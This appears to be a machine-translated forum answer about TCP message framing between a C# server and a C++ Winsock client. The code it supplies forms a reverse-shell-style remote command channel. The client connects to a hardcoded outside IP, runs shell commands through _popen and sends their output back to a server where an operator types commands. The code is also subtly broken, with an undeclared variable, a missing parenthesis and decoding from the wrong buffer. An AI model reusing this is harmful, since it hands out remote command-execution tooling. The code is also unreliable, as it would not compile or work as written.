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AWNSER即使没有完全填写,您的客户端也会发送整个数组。您应该只发送实际输入的内容。
服务器输出它接收的任何内容,但不考虑它实际接收的字节数。您需要考虑接收到的字节数。
TCP 是一种流传输。发送和读取之间没有一对一的关系。因此,您需要缓冲传入的数据,并以客户端可以在完成发送消息时发出信号的方式来构建数据,并且服务器可以知道一个完整的消息在哪里结束,下一个从哪里开始。在您的简单示例中,空终止符或换行符就足够了。
不要显示部分字符串。等待一个完整的字符串到达,然后再显示它。否则,在解码尚未准备好解码的内容时,您可能会损坏数据。
在您的服务器处理程序中,Stream.BeginRead()在调用Console.WriteLine(). 使用完后调用它AWNSER。否则,您可能AWNSER会在有机会使用它之前被覆盖。
尝试更像这样的事情:
服务器:
static NetworkStream Stream;
static MemoryStream Data;
static byte[] AWNSER = new byte[256];
static void Main(string[] args)
{
TcpListener listen = new TcpListener(IPAddress.Any, 123);
listen.Start();
Stream = listen.AcceptTcpClient().GetStream();
Data = new MemoryStream();
Stream.BeginRead(AWNSER, 0, AWNSER.Length, HNDLR, null);
while (true)
{
var str = Console.ReadLine();
byte[] MESSAGE = Encoding.UTF8.GetBytes(str + "&& cd\n");
Stream.Write(MESSAGE, 0, MESSAGE.Length);
}
}
static void HNDLR(IAsyncResult a)
{
int numRead = Stream.EndRead(a);
if (numRead == 0) return;
Data.Seek(0, SeekOrigin.End);
Data.Write(AWNSER, 0, numRead);
byte[] bytes = Data.GetBuffer();
int idx = 0;
int size = (int) Data.Length;
while (idx < size)
{
int found = Array.FindIndex(bytes, idx, size - idx, b => b == 0x0A);
if (found == -1) break;
Console.WriteLine(Encoding.UTF8.GetString(AWNSER, idx, found-idx);
idx = found + 1;
}
if (idx > 0)
{
Buffer.BlockCopy(bytes, idx, bytes, 0, size - idx);
Data.SetLength(size - idx);
}
Stream.BeginRead(AWNSER, 0, AWNSER.Length, HNDLR, null);
}
客户:
bool sendRaw(SOCKET skt, void *buf, int bufsize)
{
char *p = (char*) buf;
while (buflen > 0)
{
int sent = send(skt, p, buflen, 0);
if (sent == SOCKET_ERROR) return false;
p += sent;
buflen -= sent;
}
return true;
}
...
FILE *fp;
char AWNSER[256];
WSAData wsaData;
WORD DllVersion = MAKEWORD(2, 1);
if (WSAStartup(DllVersion, &wsaData) != 0) //no error
{
cout << "Winsock startup failed";
}
SOCKADDR_IN addr;
int addrlen = sizeof(addr);
addr.sin_port = htons(123);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("199.166.177.22");
SOCKET Connection = socket(AF_INET, SOCK_STREAM, 0);
if (Connection == INVALID_SOCKET)
{
/*ERROR*/
}
else
{
if (connect(Connection, (SOCKADDR*)&addr, addrlen) != 0)
{
/*ERROR*/
}
else
{
fp = _popen("dir", "r");
while (fgets(AWNSER, 256, fp))
{
int len = strlen(AWNSER);
while ((len > 0) && ((AWNSER[len-1] == '\r') || (AWNSER[len-1] == '\n'))) --len;
AWNSER[len++] = '\n';
cout.write(AWNSER, len);
if (!sendRaw(Connection, AWNSER, len)) break;
}
_pclose(fp);
//...
}
closesocket(Connection);
}
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